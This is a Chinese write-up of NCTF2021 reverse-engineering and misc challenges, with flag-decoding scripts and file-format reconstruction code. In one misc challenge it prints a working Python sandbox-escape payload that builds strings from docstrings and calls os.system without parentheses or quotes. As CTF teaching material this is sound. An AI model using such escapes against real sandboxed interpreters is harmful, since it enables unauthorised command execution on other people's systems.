NCTF2021——wp

一、RE

Hello せかい

ida反编译，flag明文给出

Shadowbringer

那两个函数是2次base64变异码表的编码，函数反过来换两次码表解码一下就得到flag。

鲨鲨的秘密

SEH里面有反调试（直接nop），还有初始化表需要用到的key（dword_404E58）

for循环里面边smc边执行，直接动调分析逻辑

最后写exp如下

key=[0x00,0x00,0x00,0x00,0x96, 0x30, 0x07, 0x77, 0x2C, 0x61, 0x0E, 0xEE, 0xBA, 0x51, 0x09, 0x99, 0x19, 0xC4, 0x6D, 0x07, 0x8F, 0xF4, 0x6A, 0x70, 0x35, 0xA5, 0x63, 0xE9, 0xA3, 0x95, 0x64, 0x9E, 0x32, 0x88, 0xDB, 0x0E, 0xA4, 0xB8, 0xDC, 0x79, 0x1E, 0xE9, 0xD5, 0xE0, 0x88, 0xD9, 0xD2, 0x97, 0x2B, 0x4C, 0xB6, 0x09, 0xBD, 0x7C, 0xB1, 0x7E, 0x07, 0x2D, 0xB8, 0xE7, 0x91, 0x1D, 0xBF, 0x90, 0x64, 0x10, 0xB7, 0x1D, 0xF2, 0x20, 0xB0, 0x6A, 0x48, 0x71, 0xB9, 0xF3, 0xDE, 0x41, 0xBE, 0x84, 0x7D, 0xD4, 0xDA, 0x1A, 0xEB, 0xE4, 0xDD, 0x6D, 0x51, 0xB5, 0xD4, 0xF4, 0xC7, 0x85, 0xD3, 0x83, 0x56, 0x98, 0x6C, 0x13, 0xC0, 0xA8, 0x6B, 0x64, 0x7A, 0xF9, 0x62, 0xFD, 0xEC, 0xC9, 0x65, 0x8A, 0x4F, 0x5C, 0x01, 0x14, 0xD9, 0x6C, 0x06, 0x63, 0x63, 0x3D, 0x0F, 0xFA, 0xF5, 0x0D, 0x08, 0x8D, 0xC8, 0x20, 0x6E, 0x3B, 0x5E, 0x10, 0x69, 0x4C, 0xE4, 0x41, 0x60, 0xD5, 0x72, 0x71, 0x67, 0xA2, 0xD1, 0xE4, 0x03, 0x3C, 0x47, 0xD4, 0x04, 0x4B, 0xFD, 0x85, 0x0D, 0xD2, 0x6B, 0xB5, 0x0A, 0xA5, 0xFA, 0xA8, 0xB5, 0x35, 0x6C, 0x98, 0xB2, 0x42, 0xD6, 0xC9, 0xBB, 0xDB, 0x40, 0xF9, 0xBC, 0xAC, 0xE3, 0x6C, 0xD8, 0x32, 0x75, 0x5C, 0xDF, 0x45, 0xCF, 0x0D, 0xD6, 0xDC, 0x59, 0x3D, 0xD1, 0xAB, 0xAC, 0x30, 0xD9, 0x26, 0x3A, 0x00, 0xDE, 0x51, 0x80, 0x51, 0xD7, 0xC8, 0x16, 0x61, 0xD0, 0xBF, 0xB5, 0xF4, 0xB4, 0x21, 0x23, 0xC4, 0xB3, 0x56, 0x99, 0x95, 0xBA, 0xCF, 0x0F, 0xA5, 0xBD, 0xB8, 0x9E, 0xB8, 0x02, 0x28, 0x08, 0x88, 0x05, 0x5F, 0xB2, 0xD9, 0x0C, 0xC6, 0x24, 0xE9, 0x0B, 0xB1, 0x87, 0x7C, 0x6F, 0x2F, 0x11, 0x4C, 0x68, 0x58, 0xAB, 0x1D, 0x61, 0xC1, 0x3D, 0x2D, 0x66, 0xB6, 0x90, 0x41, 0xDC, 0x76, 0x06, 0x71, 0xDB, 0x01, 0xBC, 0x20, 0xD2, 0x98, 0x2A, 0x10, 0xD5, 0xEF, 0x89, 0x85, 0xB1, 0x71, 0x1F, 0xB5, 0xB6, 0x06, 0xA5, 0xE4, 0xBF, 0x9F, 0x33, 0xD4, 0xB8, 0xE8, 0xA2, 0xC9, 0x07, 0x78, 0x34, 0xF9, 0x00, 0x0F, 0x8E, 0xA8, 0x09, 0x96, 0x18, 0x98, 0x0E, 0xE1, 0xBB, 0x0D, 0x6A, 0x7F, 0x2D, 0x3D, 0x6D, 0x08, 0x97, 0x6C, 0x64, 0x91, 0x01, 0x5C, 0x63, 0xE6, 0xF4, 0x51, 0x6B, 0x6B, 0x62, 0x61, 0x6C, 0x1C, 0xD8, 0x30, 0x65, 0x85, 0x4E, 0x00, 0x62, 0xF2, 0xED, 0x95, 0x06, 0x6C, 0x7B, 0xA5, 0x01, 0x1B, 0xC1, 0xF4, 0x08, 0x82, 0x57, 0xC4, 0x0F, 0xF5, 0xC6, 0xD9, 0xB0, 0x65, 0x50, 0xE9, 0xB7, 0x12, 0xEA, 0xB8, 0xBE, 0x8B, 0x7C, 0x88, 0xB9, 0xFC, 0xDF, 0x1D, 0xDD, 0x62, 0x49, 0x2D, 0xDA, 0x15, 0xF3, 0x7C, 0xD3, 0x8C, 0x65, 0x4C, 0xD4, 0xFB, 0x58, 0x61, 0xB2, 0x4D, 0xCE, 0x51, 0xB5, 0x3A, 0x74, 0x00, 0xBC, 0xA3, 0xE2, 0x30, 0xBB, 0xD4, 0x41, 0xA5, 0xDF, 0x4A, 0xD7, 0x95, 0xD8, 0x3D, 0x6D, 0xC4, 0xD1, 0xA4, 0xFB, 0xF4, 0xD6, 0xD3, 0x6A, 0xE9, 0x69, 0x43, 0xFC, 0xD9, 0x6E, 0x34, 0x46, 0x88, 0x67, 0xAD, 0xD0, 0xB8, 0x60, 0xDA, 0x73, 0x2D, 0x04, 0x44, 0xE5, 0x1D, 0x03, 0x33, 0x5F, 0x4C, 0x0A, 0xAA, 0xC9, 0x7C, 0x0D, 0xDD, 0x3C, 0x71, 0x05, 0x50, 0xAA, 0x41, 0x02, 0x27, 0x10, 0x10, 0x0B, 0xBE, 0x86, 0x20, 0x0C, 0xC9, 0x25, 0xB5, 0x68, 0x57, 0xB3, 0x85, 0x6F, 0x20, 0x09, 0xD4, 0x66, 0xB9, 0x9F, 0xE4, 0x61, 0xCE, 0x0E, 0xF9, 0xDE, 0x5E, 0x98, 0xC9, 0xD9, 0x29, 0x22, 0x98, 0xD0, 0xB0, 0xB4, 0xA8, 0xD7, 0xC7, 0x17, 0x3D, 0xB3, 0x59, 0x81, 0x0D, 0xB4, 0x2E, 0x3B, 0x5C, 0xBD, 0xB7, 0xAD, 0x6C, 0xBA, 0xC0, 0x20, 0x83, 0xB8, 0xED, 0xB6, 0xB3, 0xBF, 0x9A, 0x0C, 0xE2, 0xB6, 0x03, 0x9A, 0xD2, 0xB1, 0x74, 0x39, 0x47, 0xD5, 0xEA, 0xAF, 0x77, 0xD2, 0x9D, 0x15, 0x26, 0xDB, 0x04, 0x83, 0x16, 0xDC, 0x73, 0x12, 0x0B, 0x63, 0xE3, 0x84, 0x3B, 0x64, 0x94, 0x3E, 0x6A, 0x6D, 0x0D, 0xA8, 0x5A, 0x6A, 0x7A, 0x0B, 0xCF, 0x0E, 0xE4, 0x9D, 0xFF, 0x09, 0x93, 0x27, 0xAE, 0x00, 0x0A, 0xB1, 0x9E, 0x07, 0x7D, 0x44, 0x93, 0x0F, 0xF0, 0xD2, 0xA3, 0x08, 0x87, 0x68, 0xF2, 0x01, 0x1E, 0xFE, 0xC2, 0x06, 0x69, 0x5D, 0x57, 0x62, 0xF7, 0xCB, 0x67, 0x65, 0x80, 0x71, 0x36, 0x6C, 0x19, 0xE7, 0x06, 0x6B, 0x6E, 0x76, 0x1B, 0xD4, 0xFE, 0xE0, 0x2B, 0xD3, 0x89, 0x5A, 0x7A, 0xDA, 0x10, 0xCC, 0x4A, 0xDD, 0x67, 0x6F, 0xDF, 0xB9, 0xF9, 0xF9, 0xEF, 0xBE, 0x8E, 0x43, 0xBE, 0xB7, 0x17, 0xD5, 0x8E, 0xB0, 0x60, 0xE8, 0xA3, 0xD6, 0xD6, 0x7E, 0x93, 0xD1, 0xA1, 0xC4, 0xC2, 0xD8, 0x38, 0x52, 0xF2, 0xDF, 0x4F, 0xF1, 0x67, 0xBB, 0xD1, 0x67, 0x57, 0xBC, 0xA6, 0xDD, 0x06, 0xB5, 0x3F, 0x4B, 0x36, 0xB2, 0x48, 0xDA, 0x2B, 0x0D, 0xD8, 0x4C, 0x1B, 0x0A, 0xAF, 0xF6, 0x4A, 0x03, 0x36, 0x60, 0x7A, 0x04, 0x41, 0xC3, 0xEF, 0x60, 0xDF, 0x55, 0xDF, 0x67, 0xA8, 0xEF, 0x8E, 0x6E, 0x31, 0x79, 0xBE, 0x69, 0x46, 0x8C, 0xB3, 0x61, 0xCB, 0x1A, 0x83, 0x66, 0xBC, 0xA0, 0xD2, 0x6F, 0x25, 0x36, 0xE2, 0x68, 0x52, 0x95, 0x77, 0x0C, 0xCC, 0x03, 0x47, 0x0B, 0xBB, 0xB9, 0x16, 0x02, 0x22, 0x2F, 0x26, 0x05, 0x55, 0xBE, 0x3B, 0xBA, 0xC5, 0x28, 0x0B, 0xBD, 0xB2, 0x92, 0x5A, 0xB4, 0x2B, 0x04, 0x6A, 0xB3, 0x5C, 0xA7, 0xFF, 0xD7, 0xC2, 0x31, 0xCF, 0xD0, 0xB5, 0x8B, 0x9E, 0xD9, 0x2C, 0x1D, 0xAE, 0xDE, 0x5B, 0xB0, 0xC2, 0x64, 0x9B, 0x26, 0xF2, 0x63, 0xEC, 0x9C, 0xA3, 0x6A, 0x75, 0x0A, 0x93, 0x6D, 0x02, 0xA9, 0x06, 0x09, 0x9C, 0x3F, 0x36, 0x0E, 0xEB, 0x85, 0x67, 0x07, 0x72, 0x13, 0x57, 0x00, 0x05, 0x82, 0x4A, 0xBF, 0x95, 0x14, 0x7A, 0xB8, 0xE2, 0xAE, 0x2B, 0xB1, 0x7B, 0x38, 0x1B, 0xB6, 0x0C, 0x9B, 0x8E, 0xD2, 0x92, 0x0D, 0xBE, 0xD5, 0xE5, 0xB7, 0xEF, 0xDC, 0x7C, 0x21, 0xDF, 0xDB, 0x0B, 0xD4, 0xD2, 0xD3, 0x86, 0x42, 0xE2, 0xD4, 0xF1, 0xF8, 0xB3, 0xDD, 0x68, 0x6E, 0x83, 0xDA, 0x1F, 0xCD, 0x16, 0xBE, 0x81, 0x5B, 0x26, 0xB9, 0xF6, 0xE1, 0x77, 0xB0, 0x6F, 0x77, 0x47, 0xB7, 0x18, 0xE6, 0x5A, 0x08, 0x88, 0x70, 0x6A, 0x0F, 0xFF, 0xCA, 0x3B, 0x06, 0x66, 0x5C, 0x0B, 0x01, 0x11, 0xFF, 0x9E, 0x65, 0x8F, 0x69, 0xAE, 0x62, 0xF8, 0xD3, 0xFF, 0x6B, 0x61, 0x45, 0xCF, 0x6C, 0x16, 0x78, 0xE2, 0x0A, 0xA0, 0xEE, 0xD2, 0x0D, 0xD7, 0x54, 0x83, 0x04, 0x4E, 0xC2, 0xB3, 0x03, 0x39, 0x61, 0x26, 0x67, 0xA7, 0xF7, 0x16, 0x60, 0xD0, 0x4D, 0x47, 0x69, 0x49, 0xDB, 0x77, 0x6E, 0x3E, 0x4A, 0x6A, 0xD1, 0xAE, 0xDC, 0x5A, 0xD6, 0xD9, 0x66, 0x0B, 0xDF, 0x40, 0xF0, 0x3B, 0xD8, 0x37, 0x53, 0xAE, 0xBC, 0xA9, 0xC5, 0x9E, 0xBB, 0xDE, 0x7F, 0xCF, 0xB2, 0x47, 0xE9, 0xFF, 0xB5, 0x30, 0x1C, 0xF2, 0xBD, 0xBD, 0x8A, 0xC2, 0xBA, 0xCA, 0x30, 0x93, 0xB3, 0x53, 0xA6, 0xA3, 0xB4, 0x24, 0x05, 0x36, 0xD0, 0xBA, 0x93, 0x06, 0xD7, 0xCD, 0x29, 0x57, 0xDE, 0x54, 0xBF, 0x67, 0xD9, 0x23, 0x2E, 0x7A, 0x66, 0xB3, 0xB8, 0x4A, 0x61, 0xC4, 0x02, 0x1B, 0x68, 0x5D, 0x94, 0x2B, 0x6F, 0x2A, 0x37, 0xBE, 0x0B, 0xB4, 0xA1, 0x8E, 0x0C, 0xC3, 0x1B, 0xDF, 0x05, 0x5A, 0x8D, 0xEF, 0x02, 0x2D]
c=[0xC0F6605E, 0xB16E0A,0x3319A2D2,0x57CAB7B7,0x9A646D9C,0xBDD82726,0xD838FB91,0x8DE10BB3,0x176B0DAD,0x685FDEEF,0x2C1FF7B1,0x6C444296,0x0A15CFE90,0x20CD8721,0x62967CE8,0x2C1641FD,0x572D0F9A,0x0AE52DC2C,0x50497DCF,0xFF6ABF4A]
table=[]
for i in range(256):
    table.append(key[i*4+3]*256*256*256+key[i*4+2]*256*256+key[i*4+1]*256+key[i*4])
#print(table)
flag=''
for i in c:
    for j in range(len(table)):
        x=i^0xFFFFFFFF
        if (table[j]>>24)&0xFF==(x>>24)&0xFF:
            a2=(x^table[j])&0xFFFFFF
            for h in range(len(table)):
                if (table[h]>>24)&0xFF==(a2>>16)&0xFF:
                    flag+=chr(h^0xFF)
                    flag+=chr(((table[h]^0xFF)&0xFF)^j)
print(flag)

二、MISC

做题做累了来玩玩游戏吧

直接反编译Assembly-CSharp.dll，找到链接http://h4ck.fun/g4me.txt得到flag

Hex酱的秘密花园

题目描述：我们可爱的Hex酱又有了一个强大的功能，可以去执行多行语句惹~ 但是为了防止有些居心叵测的人，我们专门把括号，单双引号，都过滤掉，噢对不准色色，所以也不准出现h哟~ Ubuntu Python3.6.9 快去找Hex酱(QQ:2821876761)私聊吧

大概意思就是编写不能含有()，'，”的Python代码给Hex酱执行并打印flag。

思路：由于不能出现括号，那么这道题就不能直接调用Python提供的API，需要利用魔法方法来调用；还有不能出现引号，那么就不能直接明文列出字符串，就需要从别的地方（如Python内置的帮助文本）中提取出来然后拼接。

贴一下官方exp

b=[].__class__.__base__.__class__.__subclasses__
d=[].__doc__
n={}.__doc__
_=lambda _:[].__class__.__base__
@b
@_
class s:_
l=s[69]
q=lambda _:d[66]+d[2]
p=lambda _:n[2]+n[80]+n[55]+n[6]+n[75]+d[0]+n[80]+n[88]
@l.load_module
@q
class o:_
@o.system
@p
class w:_

Hello File Format

题目描述：aiQG_ is learning to develop programs for macOS GPU. He got a file from the GPU, but he couldn’t read it. Can you translate this file for him? aiQG_ wanted to render one frame of 1920*1080

拿到文件第一反应是3个或者4个为一个像素把它写入png文件中：

from PIL import Image
img=Image.new("RGBA",size=(1920,1080))
with open("GPU data.bin","rb") as fr:
    width=1920
    height=1080
    data=fr.read()
    h=0
    for i in range(width):
        for j in range(height):
            try:
                img.putpixel((j,i),(int(data[h]),int(data[h+1]),int(data[h+2]),int(data[h+3])))
            except:
                break
            h+=4
    img.save("flag.png")

最后成品如下

比赛过后看wp才知道要构造一个tga格式的图片文件，而不是png

贴一下官方wp，python2环境下运行一下即可

# -*- coding: utf-8 -*-
WIDTH = 1920
HEIGHT = 1080
fin = open("./GPU data.bin", 'rb')
fout = open("./GPU data.bin.tga", 'wb')
WIDTH_HEX = hex(WIDTH)[2:]
HEIGHT_HEX = hex(HEIGHT)[2:]
if len(WIDTH_HEX) > 4 or len(HEIGHT_HEX) > 4:
    print "size error"
    assert(0)
if len(WIDTH_HEX) < 4:
    WIDTH_HEX = "0" * (4-len(WIDTH_HEX)) + WIDTH_HEX
if len(HEIGHT_HEX) < 4:
    HEIGHT_HEX = "0" * (4-len(HEIGHT_HEX)) + HEIGHT_HEX
fout.write("\x00\x00\x02\x00\x00\x00\x00\x00")
fout.write("\x00\x00\x00\x00")
fout.write(WIDTH_HEX[2:].decode('hex'))
fout.write(WIDTH_HEX[:2].decode('hex'))
fout.write(HEIGHT_HEX[2:].decode('hex'))
fout.write(HEIGHT_HEX[:2].decode('hex'))
fout.write("\x18\x20") #0x18表示每像素24位, 0x20给出了⽅向信息
fout.write(fin.read())
fin.close()